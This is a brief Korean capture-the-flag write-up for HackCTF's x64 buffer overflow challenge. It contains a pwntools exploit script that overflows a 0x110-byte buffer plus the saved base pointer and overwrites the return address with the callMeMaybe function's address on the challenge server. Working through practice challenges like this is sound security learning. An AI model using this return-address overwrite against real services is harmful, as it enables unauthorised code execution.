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Hacking/write-up

(HackCTF)x64 buffer overflow

x64 buffer overflow

 

bof로 ret자리에 callmemaybe()함수 주소를 넣어주면 될까요

 

-callMeMaybe 함수 주소

-offset

-pwntools 코드

#-*-coding:utf-8-*-
from pwn import *
 
p=remote('ctf.j0n9hyun.xyz',3004)
 
payload='a'*(0x110+8)
payload+=p64(0x0000000000400606)
p.sendline(payload)
p.interactive()

 

 

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